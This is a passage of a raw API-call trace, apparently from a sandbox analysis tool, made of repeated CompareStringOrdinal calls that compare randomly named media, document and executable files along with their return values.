(lpString1="TYcyuRxH.mkv", cchCount1=-1, lpString2="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="MKzdWyU3NziO.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="LFfk9JORsG.avi", cchCount1=-1, lpString2="L4T8mDg3vHms9Y.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="LFfk9JORsG.avi", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="jGh255P.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="wfNksu nJRG5\\XTt3.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="TYcyuRxH.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="w9CVHhfkQl0.mkv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.475] CompareStringOrdinal (lpString1="w9CVHhfkQl0.mkv", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="LFfk9JORsG.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="MKzdWyU3NziO.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.475] CompareStringOrdinal (lpString1="MKzdWyU3NziO.m4a", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="xipMOvrpEcaMKsnrOoK.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.475] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount1=-1, lpString2="wfNksu nJRG5\\XTt3.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="wfNksu nJRG5", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="xipMOvrpEcaMKsnrOoK.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="wfNksu nJRG5\\XTt3.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\XTt3.swf", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="xipMOvrpEcaMKsnrOoK.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="wfNksu nJRG5\\XTt3.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\XTt3.swf", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="wfNksu nJRG5\\XTt3.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\XTt3.swf", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.476] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.476] CompareStringOrdinal (lpString1="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="wfNksu nJRG5\\XTt3.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\XTt3.swf", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="jGh255P.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="jGh255P.m4a", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="MKzdWyU3NziO.m4a", cchCount1=-1, lpString2="LFfk9JORsG.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="MKzdWyU3NziO.m4a", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="wfNksu nJRG5", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="wfNksu nJRG5", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount1=-1, lpString2="wfNksu nJRG5", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="Fj4kdfeguFEe8WDxBVP.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="wfNksu nJRG5", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.477] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.477] CompareStringOrdinal (lpString1="w9CVHhfkQl0.mkv", cchCount1=-1, lpString2="TYcyuRxH.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="w9CVHhfkQl0.mkv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="w9CVHhfkQl0.mkv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="w9CVHhfkQl0.mkv", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="TYcyuRxH.mkv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="TYcyuRxH.mkv", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="Qes6-o-.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="Qes6-o-.docx", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="w9CVHhfkQl0.mkv", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="w9CVHhfkQl0.mkv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="TYcyuRxH.mkv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="TYcyuRxH.mkv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="Qes6-o-.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="Qes6-o-.docx", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="TYcyuRxH.mkv", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="TYcyuRxH.mkv", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="Qes6-o-.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="Qes6-o-.docx", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="Qes6-o-.docx", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="Qes6-o-.docx", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="f7MdNo-AKV0.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="Fj4kdfeguFEe8WDxBVP.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="PWldfUkUS.mp3", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="MKzdWyU3NziO.m4a", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="MKzdWyU3NziO.m4a", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="LFfk9JORsG.avi", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="LFfk9JORsG.avi", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="L4T8mDg3vHms9Y.xls", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="L4T8mDg3vHms9Y.xls", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="MKzdWyU3NziO.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="MKzdWyU3NziO.m4a", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="LFfk9JORsG.avi", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="LFfk9JORsG.avi", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="L4T8mDg3vHms9Y.xls", cchCount2=-1, 